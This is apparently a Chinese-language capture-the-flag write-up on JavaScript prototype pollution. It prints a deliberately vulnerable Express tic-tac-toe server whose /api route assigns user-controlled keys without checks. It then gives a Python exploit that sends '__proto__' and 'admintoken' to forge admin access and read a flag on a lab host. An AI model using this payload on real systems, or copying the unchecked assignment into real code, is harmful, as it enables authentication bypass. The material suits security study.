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原型链污染
一、第一题js代码

const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
var user = []; //empty for now
 
var matrix = [];
for (var i = 0; i < 3; i++){
    matrix[i] = [null , null, null];
}
 
function draw(mat) {
    var count = 0;
    for (var i = 0; i < 3; i++){
        for (var j = 0; j < 3; j++){
            if (matrix[i][j] !== null){
                count += 1;
            }
        }
    }
    return count === 9;
}
 
app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);
 
app.get('/', (req, res) => {
 
   for (var i = 0; i < 3; i++){
        matrix[i] = [null , null, null];
 
   }
    res.render('index');
})
 
 
app.get('/admin', (req, res) => { 
    /*this is under development I guess ??*/
    console.log(user.admintoken);
    if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
        res.send('Hey admin your flag is flag{prototype_pollution_is_very_dangerous}');
    } 
    else {
        res.status(403).send('Forbidden');
    }    
}
)
 
 
app.post('/api', (req, res) => {
    var client = req.body;
    var winner = null;
 
   if (client.row > 3 || client.col > 3){
        client.row %= 3;
        client.col %= 3;
    }
    matrix[client.row][client.col] = client.data;
    for(var i = 0; i < 3; i++){
        if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){
            if (matrix[i][0] === 'X') {
                winner = 1;
            }
            else if(matrix[i][0] === 'O') {
                winner = 2;
            }
        }
        if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){
            if (matrix[0][i] === 'X') {
                winner = 1;
            }
            else if(matrix[0][i] === 'O') {
                winner = 2;
            }
        }
    }
 
   if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){
        winner = 1;
    }
    if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){
        winner = 2;
    } 
 
   if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){
        winner = 1;
    }
    if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){
        winner = 2;
    }
 
  if (draw(matrix) && winner === null){
        res.send(JSON.stringify({winner: 0}))
    }
    else if (winner !== null) {
        res.send(JSON.stringify({winner: winner}))
    }
    else {
        res.send(JSON.stringify({winner: -1}))
    }
 
})
app.listen(3000, () => {
    console.log('app listening on port 3000!')
}) 

二、给出payload和执行结果

import requests
import json
 
url1 = "http://192.168.56.1:3000/api"
url2 = "http://192.168.56.1:3000/admin?querytoken=5881ca97cfe9782358a88e0b31092814"
 
headers = {"Content-type": "application/json"}
data = {"row": "__proto__", "col": "admintoken", "data": "oupeng"}
 
 
res1 = requests.post(url1, headers=headers, data=json.dumps(data))
res2 = requests.get(url2)
 
print(res2.text)